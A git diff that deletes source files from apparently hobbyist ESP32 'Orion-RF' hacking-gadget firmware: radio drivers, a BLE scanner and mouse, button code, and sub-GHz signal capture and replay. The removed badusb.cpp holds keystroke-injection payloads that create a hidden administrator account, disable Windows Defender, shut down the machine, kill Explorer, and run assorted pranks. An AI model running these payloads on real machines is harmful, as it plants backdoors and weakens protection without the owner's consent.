-  void addSpiPin(byte sck, byte miso, byte mosi, byte ss, byte modul);

-  void setGDO(byte gdo0, byte gdo2);

-  void setGDO0(byte gdo0);

-  void addGDO(byte gdo0, byte gdo2, byte modul);

-  void addGDO0(byte gdo0, byte modul);

-  void setModul(byte modul);

-  void setCCMode(bool s);

-  void setModulation(byte m);

-  void setPA(int p);

-  void setMHZ(float mhz);

-  void setChannel(byte chnl);

-  void setChsp(float f);

-  void setRxBW(float f);

-  void setDRate(float d);

-  void setDeviation(float d);

-  void SetTx(void);

-  void SetRx(void);

-  void SetTx(float mhz);

-  void SetRx(float mhz);

-   int getRssi(void);

-  byte getLqi(void);

-  void setSres(void);

-  void setSidle(void);

-  void goSleep(void);

-  void SendData(byte *txBuffer, byte size);

-  void SendData(char *txchar);

-  void SendData(byte *txBuffer, byte size, int t);

-  void SendData(char *txchar, int t);

-  byte CheckReceiveFlag(void);

-  byte ReceiveData(byte *rxBuffer);

-  bool CheckCRC(void);

-  void SpiStrobe(byte strobe);

-  void SpiWriteReg(byte addr, byte value);

-  void SpiWriteBurstReg(byte addr, byte *buffer, byte num);

-  byte SpiReadReg(byte addr);

-  void SpiReadBurstReg(byte addr, byte *buffer, byte num);

-  void setClb(byte b, byte s, byte e);

-  bool getCC1101(void);

-  byte getMode(void);

-  void setSyncWord(byte sh, byte sl);

-  void setAddr(byte v);

-  void setWhiteData(bool v);

-  void setPktFormat(byte v);

-  void setCrc(bool v);

-  void setLengthConfig(byte v);

-  void setPacketLength(byte v);

-  void setDcFilterOff(bool v);

-  void setManchester(bool v);

-  void setSyncMode(byte v);

-  void setFEC(bool v);

-  void setPRE(byte v);

-  void setPQT(byte v);

-  void setCRC_AF(bool v);

-  void setAppendStatus(bool v);

-  void setAdrChk(byte v);

-  bool CheckRxFifo(int t);

-};

-

-extern ELECHOUSE_CC1101 ELECHOUSE_cc1101;

-

-#endif
\ No newline at end of file
diff --git a/firmware/badusb.cpp b/firmware/badusb.cpp
deleted file mode 100644
index ef9da24..0000000
--- a/firmware/badusb.cpp
+++ /dev/null
@@ -1,398 +0,0 @@
-#include <Arduino.h>
-#include <USBHIDKeyboard.h>
-#include "display.h"
-
-extern USBHIDKeyboard Keyboard;
-
-void runCommand(const char *command) {
-  Keyboard.press(KEY_LEFT_GUI);
-  Keyboard.press('r');
-  delay(100);
-  Keyboard.releaseAll();
-  delay(300);
-  Keyboard.print(command);
-  Keyboard.write(KEY_RETURN);
-}
-
-void showRunningScreen(String taskName, uint8_t duration = 5) {
-  u8g2.clearBuffer();
-  u8g2.setFont(u8g2_font_6x12_tf);
-  u8g2.drawStr(0, 15, "Running:");
-  u8g2.drawStr(0, 30, taskName.c_str());
-  u8g2.drawFrame(0, 45, 128, 10);
-
-  static const unsigned char image_download_bits[] U8X8_PROGMEM = {
-      0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x80, 0x1f, 0x00, 0x00,
-      0x00, 0x80, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00,
-      0x00, 0x60, 0x80, 0x1f, 0x00, 0x00, 0x00, 0x60, 0x00, 0x0f, 0x00, 0x00,
-      0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x02,
-      0x00, 0x06, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x06, 0x00, 0x00, 0x00, 0x3e,
-      0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
-      0x00, 0x60, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x60, 0x00, 0x00, 0x00, 0x0e,
-      0x00, 0x80, 0x01, 0x00, 0x00, 0x02, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00,
-      0x00, 0x00, 0x06, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00,
-      0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00,
-      0x00, 0x00, 0x00, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00};
-  static const unsigned char image_EviSmile1_bits[] U8X8_PROGMEM = {
-      0x0c, 0xc0, 0x00, 0x06, 0x80, 0x01, 0x07, 0x80, 0x03, 0xcf, 0xcf,
-      0x03, 0xff, 0xff, 0x03, 0xff, 0xff, 0x03, 0xfe, 0xff, 0x01, 0xfe,
-      0xff, 0x01, 0xfe, 0xff, 0x01, 0xf7, 0xbf, 0x03, 0xe7, 0x9f, 0x03,
-      0xc7, 0x8f, 0x03, 0x87, 0x87, 0x03, 0x8f, 0xc7, 0x03, 0xff, 0xff,
-      0x03, 0xfe, 0xff, 0x01, 0xde, 0xef, 0x01, 0xbc, 0xf4, 0x00, 0x78,
-      0x78, 0x00, 0xf0, 0x3f, 0x00, 0xc0, 0x0f, 0x00};
-
-  u8g2.setFontMode(1);
-  u8g2.setBitmapMode(1);
-  // download
-  u8g2.drawXBMP(80, 2, 48, 22, image_download_bits);
-
-  // EviSmile1
-  u8g2.drawXBMP(62, 1, 18, 21, image_EviSmile1_bits);
-
-  for (uint8_t i = 0; i <= duration; i++) {
-    u8g2.drawBox(1, 46, i * (126.0 / duration), 8);
-    u8g2.sendBuffer();
-    delay(50);
-  }
-}
-
-
-void badUSBMenu(int index) {
- //switch (index)
- //       {
- //           case 0:
- //               runBadUSBDemo();
- //               break;
-
- //           case 1:
- //               Serial.println("Open CMD payload");
- //               runBadUSBOpenCMD();
- //               break;
-
- //           case 2:
- //               Serial.println("Rickroll payload");
- //               runBadUSBRickroll();
- //               break;
- //       }
-
-
-    switch(index) {
-    case 0: // demo
-
-        showRunningScreen("DEMO");
-
-        // Run dialog (Win + R)
-        Keyboard.press(KEY_LEFT_GUI);
-        Keyboard.press('r');
-        Keyboard.releaseAll();
-        delay(1000);
-
-        Keyboard.println("notepad");
-        delay(1500);
-
-        delay(2000);
-
-        Keyboard.println("YOU HAVE BEEN HACKED BY ORION-RF");
-        Keyboard.println("#-FEATURES:");
-        Keyboard.println("1- WIFI ATTACKS");
-        Keyboard.println("2- BLE ATTACKS");
-        Keyboard.println("3- BAD USB");
-        Keyboard.println("4- NFC");
-        Keyboard.println("5- INFRARED");
-        Keyboard.println("6- SUB-GHZ");
-        Keyboard.println("7- GPIO");
-        Keyboard.println("8- APPS");
-        Keyboard.println("9- SETTINGS");
-        Keyboard.println("10- FILES");
-
-        break;
-      case 1: // keyboard
-        //runLoop(hidkeyboard);
-        break;
-      case 2: // saved scripts
-        //hidInit();
-        //runLoop(hidscriptmenu);
-
-        break;
-
-      case 3: // Open Notepad
-
-        showRunningScreen("notepad");
-        runCommand("notepad");
-        break;
-      case 4: // Open CMD
-        showRunningScreen("opening cmd");
-        runCommand("cmd");
-        break;
-      case 5: // Show IP
-        showRunningScreen("Getting IP");
-        runCommand("cmd");
-        delay(500);
-        Keyboard.print("ipconfig");
-        Keyboard.write(KEY_RETURN);
-        break;
-      case 6: // Shutdown
-        showRunningScreen("shutdown");
-        runCommand("shutdown /s /t 0");
-        break;
-      case 7: // RickRoll
-        showRunningScreen("rickroll");
-        runCommand("cmd");
-        delay(500);
-        Keyboard.print("start https://www.youtube.com/watch?v=dQw4w9WgXcQ");
-        Keyboard.write(KEY_RETURN);
-        break;
-      case 8: // Create Admin User
-        showRunningScreen("create admin user");
-        runCommand("cmd");
-        delay(500);
-        Keyboard.print("net user hacker 1234 /add");
-        Keyboard.write(KEY_RETURN);
-        delay(300);
-        Keyboard.print("net localgroup administrators hacker /add");
-        Keyboard.write(KEY_RETURN);
-        break;
-      case 9: // Disable Windows Defender
-        showRunningScreen("disable windoes defender");
-        runCommand("powershell");
-        delay(500);
-        Keyboard.print("Set-MpPreference -DisableRealtimeMonitoring $true");
-        Keyboard.write(KEY_RETURN);
-        break;
-      case 10: // Open YouTube
-        showRunningScreen("youtube");
-        runCommand("cmd");
-        delay(500);
-        Keyboard.print("start https://www.youtube.com");
-        Keyboard.write(KEY_RETURN);
-        break;
-      case 11: // Lock PC
-        showRunningScreen("lock pc");
-        runCommand("rundll32.exe user32.dll,LockWorkStation");
-        break;
-      case 12: // Fake Update
-        showRunningScreen("fake update");
-        runCommand("cmd");
-        delay(500);
-        Keyboard.print("start https://fakeupdate.net/win10u/");
-        Keyboard.write(KEY_RETURN);
-        break;
-
-      case 13: // Endless Notepad
-        showRunningScreen("endless notepad");
-        for (int i = 0; i < 10; i++) {
-          runCommand("notepad");
-          delay(500);
-        }
-        break;
-
-      case 14: // Fake BSOD (opens fullscreen image)
-        showRunningScreen(" fake bsod");
-        runCommand("cmd");
-        delay(500);
-        Keyboard.print("start https://fakeupdate.net/bsod/");
-        Keyboard.write(KEY_RETURN);
-        break;
-
-      case 15: // Flip screen
-        showRunningScreen("Flip screen");
-        Keyboard.press(KEY_LEFT_CTRL);
-        Keyboard.press(KEY_LEFT_ALT);
-        Keyboard.press(KEY_DOWN_ARROW);
-        delay(100);
-        Keyboard.releaseAll();
-        break;
-
-      case 16: // Matrix effect
-        showRunningScreen("Matrix effect");
-        runCommand("cmd");
-        delay(500);
-        Keyboard.print("color 0A");
-        Keyboard.write(KEY_RETURN);
-        Keyboard.print(":a");
-        Keyboard.write(KEY_RETURN);
-        Keyboard.print("echo %random%%random%%random%%random%");
-        Keyboard.write(KEY_RETURN);
-        Keyboard.print("goto a");
-        Keyboard.write(KEY_RETURN);
-        break;
-
-      case 17: // I'm watching you prank
-        showRunningScreen(" iam watching you");
-        for (int i = 0; i < 5; i++) {
-          runCommand("notepad");
-          delay(1000);
-          Keyboard.print("I'm watching you...");
-          delay(5000);
-        }
-        break;
-
-      case 18: // Open Google
-        showRunningScreen("open google");
-        runCommand("cmd");
-        delay(500);
-        Keyboard.print("start https://www.google.com");
-        Keyboard.write(KEY_RETURN);
-        break;
-
-      case 19: // Open telegram
-        showRunningScreen("open telegram");
-        runCommand("cmd");
-        delay(500);
-        Keyboard.print("start https://web.telegram.org/");
-        Keyboard.write(KEY_RETURN);
-        break;
-
-      case 20: // Alarm Sound
-        showRunningScreen("alarm sound");
-        runCommand("cmd");
-        delay(500);
-        Keyboard.print("start https://www.soundjay.com/button/beep-07.wav");
-        Keyboard.write(KEY_RETURN);
-        break;
-
-      case 21: // Endless CMD
-        showRunningScreen("endless smd");
-        for (int i = 0; i < 20; i++) {
-          runCommand("cmd");
-          delay(300);
-        }
-        break;
-
-      case 22: // Gibberish
-        showRunningScreen("gibberish");
-        for (int i = 0; i < 100; i++) {
-          char c = random(33, 127);
-          Keyboard.write(c);
-          delay(50);
-        }
-        break;
-
-      case 23: // CAPSLOCK Spam
-        showRunningScreen("caps lock spam");
-        for (int i = 0; i < 10; i++) {
-          Keyboard.press(KEY_CAPS_LOCK);
-          delay(200);
-          Keyboard.release(KEY_CAPS_LOCK);
-          delay(200);
-        }
-        break;
-
-      case 24: // Calculator
-        showRunningScreen("claculator");
-        runCommand("calc");
-        break;
-
-      case 25: // Auto Type "Hacked!"
-        showRunningScreen("hacked");
-        for (int i = 0; i < 5; i++) {
-          Keyboard.print("Hacked!");
-          Keyboard.write(KEY_RETURN);
-          delay(1000);
-        }
-        break;
-
-      case 26: // Turn off monitor (Windows only)
-        showRunningScreen("turn off monitor");
-        runCommand("powershell");
-        delay(500);
-        Keyboard.print(
-            "(Add-Type '[DllImport(\"user32.dll\")]public static extern int "
-            "SendMessage(int hWnd, int hMsg, int wParam, int lParam);' -Name a "
-            "-Pas)::SendMessage(-1,0x0112,0xF170,2)");
-        Keyboard.write(KEY_RETURN);
-        break;
-
-      case 27: // RegEdit
-        showRunningScreen("regedit");
-        runCommand("regedit");
-        break;
-
-      case 28: // Kill Explorer
-        showRunningScreen(" kill explorer");
-        runCommand("taskkill /f /im explorer.exe");
-        break;
-
-      case 29: // Flash screen (by changing background rapidly)
-        showRunningScreen(" flash screen");
-        for (int i = 0; i < 10; i++) {
-          runCommand("color 4F");
-          delay(200);
-          runCommand("color 1F");
-          delay(200);
-        }
-        break;
-
-      case 30: // Rename Desktop Files (basic prank)
-
-        showRunningScreen("rename desktop files");
-        runCommand("powershell");
-        delay(500);
-        Keyboard.print("Get-ChildItem \"$env:USERPROFILE\\Desktop\" | "
-                       "Rename-Item -NewName {'hacked'+$_.Name}");
-        Keyboard.write(KEY_RETURN);
-        break;
-
-      case 31: // Toggle WiFi (requires admin)
-        showRunningScreen("toggle wifi");
-        runCommand("cmd");
-        delay(500);
-        Keyboard.print("netsh interface set interface Wi-Fi disabled");
-        Keyboard.write(KEY_RETURN);
-        delay(1000);
-        Keyboard.print("netsh interface set interface Wi-Fi enabled");
-        Keyboard.write(KEY_RETURN);
-        break;
-
-      case 32: // Screenshot
-        showRunningScreen("screenshot");
-        runCommand("powershell");
-        delay(500);
-        Keyboard.print("Add-Type -AssemblyName System.Windows.Forms;");
-        Keyboard.write(KEY_RETURN);
-        delay(300);
-        Keyboard.print("[System.Windows.Forms.SendKeys]::SendWait('%{PRTSC}')");
-        Keyboard.write(KEY_RETURN);
-        break;
-
-      case 33: // Emoji spam
-        showRunningScreen("emoji spam");
-        for (int i = 0; i < 10; i++) {
-          Keyboard.print("💀");
-          Keyboard.write(KEY_RETURN);
-          delay(500);
-        }
-        break;
-
-      case 34: // Control Panel
-        showRunningScreen("control panel");
-        runCommand("control");
-        break;
-
-      case 35: // Troll wallpaper
-        showRunningScreen("troll wallpaper");
-        runCommand("cmd");
-        delay(500);
-        Keyboard.print("start https://i.imgur.com/trollface.png");
-        Keyboard.write(KEY_RETURN);
-        break;
-
-      case 36: // MS Paint
-        showRunningScreen("ms paint");
-        runCommand("mspaint");
-        break;
-
-      case 37: // Auto Tab Switcher
-        showRunningScreen(" auto tab switcher");
-        for (int i = 0; i < 10; i++) {
-          Keyboard.press(KEY_LEFT_CTRL);
-          Keyboard.press(KEY_TAB);
-          delay(100);
-          Keyboard.releaseAll();
-          delay(300);
-        }
-        break;
-}
-}
-
-
diff --git a/firmware/badusb.h b/firmware/badusb.h
deleted file mode 100644
index a3390ec..0000000
--- a/firmware/badusb.h
+++ /dev/null
@@ -1,5 +0,0 @@
-#pragma once
-
-void badUSBMenu(int index);
-void showRunningScreen(String taskName, uint8_t duration);
-void runCommand(const char *command);
diff --git a/firmware/ble_mouse.cpp b/firmware/ble_mouse.cpp
deleted file mode 100644
index 8e666ec..0000000
--- a/firmware/ble_mouse.cpp
+++ /dev/null
@@ -1,74 +0,0 @@
-#include <Arduino.h>
-#include <BleMouse.h>
-#include "badusb.h"
-#include "config.h"
-
-#include "buttons.h"
-#include "display.h"
-
-// ===== BLE MOUSE =====
-// BleMouse bleMouse("Orion-RF", "Orion-RF", 100);
-extern BleMouse bleMouse;
-
-// ===== MAIN =====
-void ble_mouse_run()
-{
-    u8g2.clearBuffer();
-    u8g2.setFont(u8g2_font_6x10_tr);
-    u8g2.drawStr(10, 25, "BLE Mouse");
-    u8g2.drawStr(10, 45, "Connecting...");
-    u8g2.sendBuffer();
-
-    delay(800);
-
-    while (1)
-    {
-        // 🔥 EXIT FIRST (clean)
-        if (btnBack()) break;
-
-        bool connected = bleMouse.isConnected();
-
-        int dx = 0;
-        int dy = 0;
-
-        if (connected)
-        {
-            if (!digitalRead(BTN_UP))    dy = -6;
-            if (!digitalRead(BTN_DOWN))  dy = 6;
-            if (!digitalRead(BTN_LEFT))  dx = -6;
-            if (!digitalRead(BTN_RIGHT)) dx = 6;
-
-            if (dx || dy)
-                bleMouse.move(dx, dy);
-
-            // ✅ single click (not spam)
-            static bool lastSelect = false;
-            bool currentSelect = !digitalRead(BTN_SELECT);
-
-            if (currentSelect && !lastSelect)
-                bleMouse.click(MOUSE_LEFT);
-
-            lastSelect = currentSelect;
-        }
-
-        // ===== UI =====
-        u8g2.clearBuffer();
-        u8g2.setFont(u8g2_font_6x10_tr);
-
-        u8g2.drawStr(10, 20, "BLE Mouse");
-
-        if (connected)
-            u8g2.drawStr(10, 35, "Connected");
-        else
-            u8g2.drawStr(10, 35, "Waiting");
-
-        u8g2.drawStr(10, 55, "BACK = Exit");
-
-        u8g2.sendBuffer();
-
-        delay(10);  // important for BLE stability
-    }
-}
-
-
-
diff --git a/firmware/ble_mouse.h b/firmware/ble_mouse.h
deleted file mode 100644
index fc6a4cc..0000000
--- a/firmware/ble_mouse.h
+++ /dev/null
@@ -1,3 +0,0 @@
-#pragma once
-
-void ble_mouse_run();
diff --git a/firmware/blescanner.cpp b/firmware/blescanner.cpp
deleted file mode 100644
index cc86dd2..0000000
--- a/firmware/blescanner.cpp
+++ /dev/null
@@ -1,209 +0,0 @@
-#include <Arduino.h>
-#include <BLEDevice.h>
-#include <BLEScan.h>
-#include <BLEAdvertisedDevice.h>
-#include <vector>
-
-#include "display.h"
-#include "buttons.h"
-#include "config.h"
-
-// ===== DEVICE STRUCT =====
-struct BLEDeviceInfo {
-    String name;
-    String address;
-    int rssi;
-    String manufacturer;
-    String deviceType;
-};
-
-static std::vector<BLEDeviceInfo> devices;
-static BLEScan *pBLEScan;
-static int selectedIndex = 0;
-
-// ===== CALLBACK =====
-class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks {
-    void onResult(BLEAdvertisedDevice advertisedDevice) override {
-        BLEDeviceInfo dev;
-
-        String tempName = advertisedDevice.getName();
-
-        if (tempName.length() == 0 && advertisedDevice.haveServiceData()) {
-            tempName = advertisedDevice.getServiceData().c_str();
-        }
-
-        if (tempName.length() == 0) {
-            String addr = advertisedDevice.getAddress().toString().c_str();
-            tempName = "BLE_" + addr.substring(addr.length() - 5);
-        }
-
-        dev.name = tempName;
-        dev.address = advertisedDevice.getAddress().toString().c_str();
-        dev.rssi = advertisedDevice.getRSSI();
-
-        if (advertisedDevice.haveManufacturerData()) {
-            String mData = advertisedDevice.getManufacturerData().c_str();
-
-            if (mData.length() >= 2) {
-                char buffer[10];
-                sprintf(buffer, "0x%02X%02X",
-                        (uint8_t)mData[1],
-                        (uint8_t)mData[0]);
-                dev.manufacturer = String(buffer);
-            } else {
-                dev.manufacturer = "unknown";
-            }
-        } else {
-            dev.manufacturer = "unknown";
-        }
-
-        if (advertisedDevice.haveServiceUUID()) {
-            dev.deviceType =
-                advertisedDevice.getServiceUUID().toString().c_str();
-        } else {
-            dev.deviceType = "unknown";
-        }
-
-        devices.push_back(dev);
-    }
-};
-
-// ===== DRAW MENU =====
-void ble_drawMenu()
-{
-    u8g2.clearBuffer();
-
-    if (devices.empty())
-    {
-        u8g2.setFont(u8g2_font_6x12_tr);
-        u8g2.drawStr(0, 30, "No devices");
-        u8g2.drawStr(0, 45, "Press BACK");
-    }
-    else
-    {
-        u8g2.setFont(u8g2_font_5x8_tr);
-
-        char counter[20];
-        sprintf(counter, "%d/%d", selectedIndex + 1, (int)devices.size());
-        u8g2.drawStr(0, 8, counter);
-
-        u8g2.setFont(u8g2_font_6x10_tr);
-
-        for (int i = 0; i < 3; i++)
-        {
-            int idx = selectedIndex + i;
-            if (idx >= devices.size()) break;
-
-            int y = 22 + i * 14;
-
-            if (i == 0)
-            {
-                u8g2.drawBox(0, y - 10, 128, 12);
-                u8g2.setDrawColor(0);
-            }
-
-            String text = devices[idx].name;
-            if (text.length() > 12)
-                text = text.substring(0, 12) + "..";
-
-            text += " (" + String(devices[idx].rssi) + ")";
-
-            u8g2.drawStr(2, y, text.c_str());
-
-            if (i == 0)
-                u8g2.setDrawColor(1);
-        }
-    }
-
-    u8g2.sendBuffer();
-}
-
-// ===== DEVICE DETAILS =====
-void ble_drawDetails(const BLEDeviceInfo &dev)
-{
-    u8g2.clearBuffer();
-    u8g2.setFont(u8g2_font_5x8_tr);
-
-    u8g2.drawStr(0, 10, dev.name.c_str());
-    u8g2.drawStr(0, 20, dev.address.c_str());
-
-    char rssiStr[20];
-    sprintf(rssiStr, "RSSI: %d", dev.rssi);
-    u8g2.drawStr(0, 30, rssiStr);
-
-    u8g2.drawStr(0, 40, dev.manufacturer.c_str());
-
-    u8g2.sendBuffer();
-}
-
-// ===== SCAN =====
-void ble_scan()
-{
-    devices.clear();
-
-    u8g2.clearBuffer();
-    u8g2.drawStr(10, 30, "Scanning...");
-    u8g2.sendBuffer();
-
-    BLEDevice::init("");
-
-    pBLEScan = BLEDevice::getScan();
-    pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(), false);
-    pBLEScan->setActiveScan(true);
-    pBLEScan->setInterval(100);
-    pBLEScan->setWindow(99);
-
-    pBLEScan->start(5, false);
-
-    // remove duplicates
-    std::vector<BLEDeviceInfo> unique;
-    for (auto &d : devices)
-    {
-        bool exists = false;
-        for (auto &u : unique)
-        {
-            if (u.address == d.address)
-            {
-                exists = true;
-                break;
-            }
-        }
-        if (!exists) unique.push_back(d);
-    }
-
-    devices = unique;
-}
-
-// ===== MAIN LOOP =====
-void ble_loop()
-{
-    static uint32_t lastPress = 0;
-
-    if (millis() - lastPress < 200)
-        return;
-
-    if (btnDown() && selectedIndex < (int)devices.size() - 1)
-    {
-        selectedIndex++;
-        ble_drawMenu();
-        lastPress = millis();
-    }
-    else if (btnUp() && selectedIndex > 0)
-    {
-        selectedIndex--;
-        ble_drawMenu();
-        lastPress = millis();
-    }
-    else if (btnSelect() && !devices.empty())
-    {
-        ble_drawDetails(devices[selectedIndex]);
-        delay(3000);
-        ble_drawMenu();
-        lastPress = millis();
-    }
-    else if (btnBack())
-    {
-        lastPress = millis();
-        return;
-    }
-}
diff --git a/firmware/blescanner.h b/firmware/blescanner.h
deleted file mode 100644
index a642de2..0000000
--- a/firmware/blescanner.h
+++ /dev/null
@@ -1,5 +0,0 @@
-#pragma once
-
-void ble_scan();
-void ble_loop();
-void ble_drawMenu();
diff --git a/firmware/buttons.cpp b/firmware/buttons.cpp
deleted file mode 100644
index 27ce40b..0000000
--- a/firmware/buttons.cpp
+++ /dev/null
@@ -1,20 +0,0 @@
-#include "buttons.h"
-#include <Arduino.h>
-#include "config.h"
-
-void buttonsInit()
-{
-    pinMode(BTN_UP, INPUT_PULLUP);
-    pinMode(BTN_DOWN, INPUT_PULLUP);
-    pinMode(BTN_SELECT, INPUT_PULLUP);
-    pinMode(BTN_BACK, INPUT_PULLUP);
-    pinMode(BTN_RIGHT, INPUT_PULLUP);
-    pinMode(BTN_LEFT, INPUT_PULLUP);
-}
-
-bool btnUp() { return !digitalRead(BTN_UP); }
-bool btnDown() { return !digitalRead(BTN_DOWN); }
-bool btnSelect() { return !digitalRead(BTN_SELECT); }
-bool btnBack() { return !digitalRead(BTN_BACK); }
-bool btnRight() { return !digitalRead(BTN_RIGHT); }
-bool btnLeft() { return !digitalRead(BTN_LEFT); }
diff --git a/firmware/buttons.h b/firmware/buttons.h
deleted file mode 100644
index cfa9fa3..0000000
--- a/firmware/buttons.h
+++ /dev/null
@@ -1,10 +0,0 @@
-#pragma once
-
-void buttonsInit();
-
-bool btnUp();
-bool btnDown();
-bool btnSelect();
-bool btnBack();
-bool btnRight();
-bool btnLeft();
diff --git a/firmware/cc1101.cpp b/firmware/cc1101.cpp
deleted file mode 100644
index dcbbbee..0000000
--- a/firmware/cc1101.cpp
+++ /dev/null
@@ -1,150 +0,0 @@
-#include <Arduino.h>
-#include "ELECHOUSE_CC1101_SRC_DRV.h"
-#include "cc1101.h"
-#include "config.h"
-
-// ===== CONFIG =====
-#define RAW_BUF_MAX 512
-
-// ===== STATE =====
-static bool cc1101Inited = false;
-
-// ===== CAPTURE STATE =====
-volatile unsigned long captureBuffer[RAW_BUF_MAX];
-volatile int pulseIndex = 0;
-volatile unsigned long lastEdgeTime = 0;
-volatile bool capturing = false;
-
-// ===== RF SETTINGS =====
-float currentFreq = 433.92;
-float dataRate = 3.79372;
-float deviation = 0.0;
-float rxBW = 325.0;
-int powerLevel = 10;
-
-// ===== ISR =====
-void IRAM_ATTR pulseISR()
-{
-    unsigned long now = micros();
-
-    if (!capturing) return;
-    if (pulseIndex >= RAW_BUF_MAX) return;
-
-    unsigned long duration = now - lastEdgeTime;
-
-    if (duration < 50) return;
-
-    captureBuffer[pulseIndex++] = duration;
-    lastEdgeTime = now;
-}
-
-// ===== OOK SETUP =====
-void setupOOKMode()
-{
-    ELECHOUSE_cc1101.SetRx();
-    ELECHOUSE_cc1101.setMHZ(currentFreq);
-
-    ELECHOUSE_cc1101.setModulation(0); // ASK/OOK
-    ELECHOUSE_cc1101.setDRate(dataRate);
-    ELECHOUSE_cc1101.setDeviation(0);
-    ELECHOUSE_cc1101.setRxBW(rxBW);
-    ELECHOUSE_cc1101.setSyncMode(0);
-    ELECHOUSE_cc1101.setPA(powerLevel);
-}
-
-// ===== INIT (LAZY, SAFE) =====
-bool initCC1101()
-{
-    if (cc1101Inited)
-        return true;
-
-    Serial.println("Initializing CC1101...");
-
-    // IMPORTANT: no detachInterrupt here (causes crash if not installed)
-
-    ELECHOUSE_cc1101.setSpiPin(
-        cc1101_SCK,
-        cc1101_MISO,
-        cc1101_MOSI,
-        CC1101_CS
-    );
-
-    ELECHOUSE_cc1101.setGDO(CC1101_GDO0, CC1101_GDO2);
-
-    if (!ELECHOUSE_cc1101.getCC1101())
-    {
-        Serial.println("❌ CC1101 NOT FOUND");
-        return false;
-    }
-
-    delay(10); // let SPI settle
-
-    ELECHOUSE_cc1101.Init();   // THIS WAS YOUR FREEZE POINT
-    setupOOKMode();
-
-    pinMode(CC1101_GDO0, INPUT);
-
-    Serial.println("✅ CC1101 READY");
-
-    cc1101Inited = true;
-    return true;
-}
-
-// ===== CAPTURE CONTROL =====
-void startCapture()
-{
-    pulseIndex = 0;
-    capturing = true;
-    lastEdgeTime = micros();
-
-    attachInterrupt(
-        digitalPinToInterrupt(CC1101_GDO0),
-        pulseISR,
-        CHANGE
-    );
-
-    Serial.println("Capture started");
-}
-
-bool isCC1101Ready() {
-    return cc1101Inited;
-}
-
-void stopCapture()
-{
-    capturing = false;
-
-    detachInterrupt(digitalPinToInterrupt(CC1101_GDO0));
-
-    Serial.println("Capture stopped");
-}
-
-// ===== DEBUG PRINT =====
-void printCapture()
-{
-    Serial.println("Captured pulses:");
-
-    for (int i = 0; i < pulseIndex; i++)
-    {
-        Serial.println(captureBuffer[i]);
-    }
-}
-
-
-// ===== REPLAY =====
-void replaySignal()
-{
-    Serial.println("Replaying...");
-
-    ELECHOUSE_cc1101.SetTx();
-    pinMode(CC1101_GDO0, OUTPUT);
-
-    for (int i = 0; i < pulseIndex; i++)
-    {
-        digitalWrite(CC1101_GDO0, (i % 2 == 0) ? HIGH : LOW);
-        delayMicroseconds(captureBuffer[i]);
-    }
-
-    digitalWrite(CC1101_GDO0, LOW);
-    ELECHOUSE_cc1101.SetRx();
-}
diff --git a/firmware/cc1101.h b/firmware/cc1101.h
deleted file mode 100644
index a403edb..0000000
--- a/firmware/cc1101.h
+++ /dev/null
@@ -1,9 +0,0 @@
-#pragma once
-
-bool initCC1101();
-bool isCC1101Ready();
-
-void startCapture();
-void stopCapture();
-void printCapture();
-void replaySignal();
diff --git a/firmware/config.h b/firmware/config.h
deleted file mode 100644
index ce40ebc..0000000
--- a/firmware/config.h
+++ /dev/null
@@ -1,48 +0,0 @@
-#pragma once
-
-// ================= NRF24 =================
-#define CE1_PIN 10
-#define CSN1_PIN 11
-
-#define CE2_PIN 12
-#define CSN2_PIN 13
-
-#define NRF_SCK 18
-#define NRF_MISO 16
-#define NRF_MOSI 17
-
-// ================== OLED ===================
-#define OLED_SDA_PIN 8
-#define OLED_SCL_PIN 9
-
-/////////////////cc1101 vars//////////////
-// CC1101 via FSPI
-#define cc1101_SCK 15
-#define cc1101_MISO 3
-#define cc1101_MOSI 46
-
-//////////////cc1101(1)//////////
-#define CC1101_CS 45
-#define CC1101_GDO0 21
-#define CC1101_GDO2 47
-
-/////////////cc1101(2)//////////
-#define CC1101_2_CS 40
-#define CC1101_2_GDO0 41
-#define CC1101_2_GDO2 42
-
-// SD Card via HSPI
-#define SD_SCK 14
-#define SD_MISO 39
-#define SD_MOSI 38
-#define SD_CS 37
-
-
-// =================== Buttons ====================
-#define BTN_UP 4
-#define BTN_DOWN 5
-#define BTN_SELECT 6
-#define BTN_BACK 7
-#define BTN_LEFT 1
-#define BTN_RIGHT 2
-
diff --git a/firmware/device_check.cpp b/firmware/device_check.cpp
deleted file mode 100644
index c569d23..0000000
--- a/firmware/device_check.cpp
+++ /dev/null
@@ -1,193 +0,0 @@
-#include <Arduino.h>
-#include <SPI.h>
-#include <Wire.h>
-#include <RF24.h>
-#include "ELECHOUSE_CC1101_SRC_DRV.h"
-
-#include "display.h"
-#include "buttons.h"
-#include "config.h"
-
-// ===== EXTERNALS =====
-extern RF24 radio1;
-extern RF24 radio2;
-extern SPIClass *RADIO_SPI;
-extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2;
-
-// ===== RESULTS =====
-struct DeviceStatus {
-    bool nrf1 = false;
-    bool nrf2 = false;
-    bool cc1101_1 = false;
-    bool cc1101_2 = false;
-    bool oled = true;
-    bool buttons = false;
-};
-
-// ===== NRF CHECK =====
-bool checkNRF(RF24 &radio)
-{
-    // safer: only init if needed
-    if (!radio.isChipConnected()) {
-        if (!radio.begin(RADIO_SPI))
-            return false;
-    }
-
-    return radio.isChipConnected();
-}
-
-// ===== CC1101 CHECK =====
-bool checkCC1101(uint8_t csPin)
-{
-    ELECHOUSE_cc1101.setSpiPin(
-        cc1101_SCK,
-        cc1101_MISO,
-        cc1101_MOSI,
-        csPin
-    );
-
-    delay(5);
-
-    return ELECHOUSE_cc1101.getCC1101();
-}
-
-// ===== BUTTON CHECK =====
-bool checkButtons()
-{
-    u8g2.clearBuffer();
